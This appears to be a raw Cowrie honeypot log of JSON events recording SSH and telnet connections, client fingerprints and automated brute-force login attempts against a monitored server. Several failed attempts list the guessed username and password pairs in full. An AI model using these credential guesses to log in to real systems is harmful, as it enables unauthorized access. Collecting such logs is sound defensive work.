{"eventid":"cowrie.session.closed","duration":59.42358422279358,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:34.858965Z","src_ip":"212.55.149.117","session":"5480421df99e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.746195793151855,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:55.447541Z","src_ip":"212.55.149.117","session":"fa408e22b2c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34264,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c78bcae10ff","protocol":"ssh","message":"New connection: 103.15.226.202:34264 (10.17.0.5:22) [session: 6c78bcae10ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:12:31.430033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:12:31.434508Z","src_ip":"103.15.226.202","session":"6c78bcae10ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:12:31.681826Z","src_ip":"103.15.226.202","session":"6c78bcae10ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123123","message":"login attempt [root/Root123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:12:32.431134Z","src_ip":"103.15.226.202","session":"6c78bcae10ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:12:33.704920Z","src_ip":"103.15.226.202","session":"6c78bcae10ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00628185272217,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:18.689143Z","src_ip":"212.55.149.117","session":"c300398dc5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42032,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b67aa6838fb","protocol":"telnet","message":"New connection: 212.55.149.117:42032 (10.17.0.5:23) [session: 2b67aa6838fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:36.016793Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51614,"dst_ip":"10.17.0.5","dst_port":22,"session":"0afeb1d100c7","protocol":"ssh","message":"New connection: 194.59.206.2:51614 (10.17.0.5:22) [session: 0afeb1d100c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:45.707904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:45.712263Z","src_ip":"194.59.206.2","session":"0afeb1d100c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:45.798660Z","src_ip":"194.59.206.2","session":"0afeb1d100c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:13:45.890450Z","src_ip":"194.59.206.2","session":"0afeb1d100c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":59574,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d999bb677fd","protocol":"ssh","message":"New connection: 120.28.109.188:59574 (159.203.135.109:22) [session: 3d999bb677fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.416055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.421782Z","src_ip":"120.28.109.188","session":"3d999bb677fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.687734Z","src_ip":"120.28.109.188","session":"3d999bb677fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52429,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1c0720b269a","protocol":"ssh","message":"New connection: 2.57.121.25:52429 (159.203.135.109:22) [session: e1c0720b269a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.835673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.840410Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:00.939968Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150889","message":"login attempt [user/150889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:01.410224Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ab123456@","message":"login attempt [ubuntu/Ab123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:01.757057Z","src_ip":"120.28.109.188","session":"3d999bb677fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150686","message":"login attempt [user/150686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:02.513257Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:03.021707Z","src_ip":"120.28.109.188","session":"3d999bb677fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150483","message":"login attempt [user/150483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:03.615904Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150384","message":"login attempt [user/150384] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:04.723934Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15031979","message":"login attempt [user/15031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:05.835372Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:06.941765Z","src_ip":"2.57.121.25","session":"e1c0720b269a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32938,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee03860a9095","protocol":"telnet","message":"New connection: 128.199.8.54:32938 (159.203.135.109:23) [session: ee03860a9095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:30.838448Z"}
{"eventid":"cowrie.session.closed","duration":120.0019178390503,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:15:36.018581Z","src_ip":"212.55.149.117","session":"2b67aa6838fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":60932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2055a55e149a","protocol":"ssh","message":"New connection: 120.28.109.188:60932 (159.203.135.109:22) [session: 2055a55e149a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:03.039828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:03.045256Z","src_ip":"120.28.109.188","session":"2055a55e149a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:03.304476Z","src_ip":"120.28.109.188","session":"2055a55e149a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.21839618682861,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:04.056655Z","src_ip":"128.199.8.54","session":"ee03860a9095","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"qazwsx","message":"login attempt [test/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:04.370603Z","src_ip":"120.28.109.188","session":"2055a55e149a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:05.633472Z","src_ip":"120.28.109.188","session":"2055a55e149a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54854,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bbc1c5d4ba","protocol":"ssh","message":"New connection: 103.15.226.202:54854 (10.17.0.5:22) [session: 35bbc1c5d4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:08.022468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:08.027191Z","src_ip":"103.15.226.202","session":"35bbc1c5d4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:08.283646Z","src_ip":"103.15.226.202","session":"35bbc1c5d4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:09.041873Z","src_ip":"103.15.226.202","session":"35bbc1c5d4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:10.297194Z","src_ip":"103.15.226.202","session":"35bbc1c5d4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":63842,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2851f41ec1","protocol":"ssh","message":"New connection: 45.148.147.191:63842 (10.17.0.5:22) [session: 7b2851f41ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:11.655389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:11.662149Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:11.752572Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0zmK1fMs1m91PV6HE0rH1yW/f6hzv2BCnANOliXc5C","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.168424Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0zmK1fMs1m91PV6HE0rH1yW/f6hzv2BCnANOliXc5C","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.172088Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
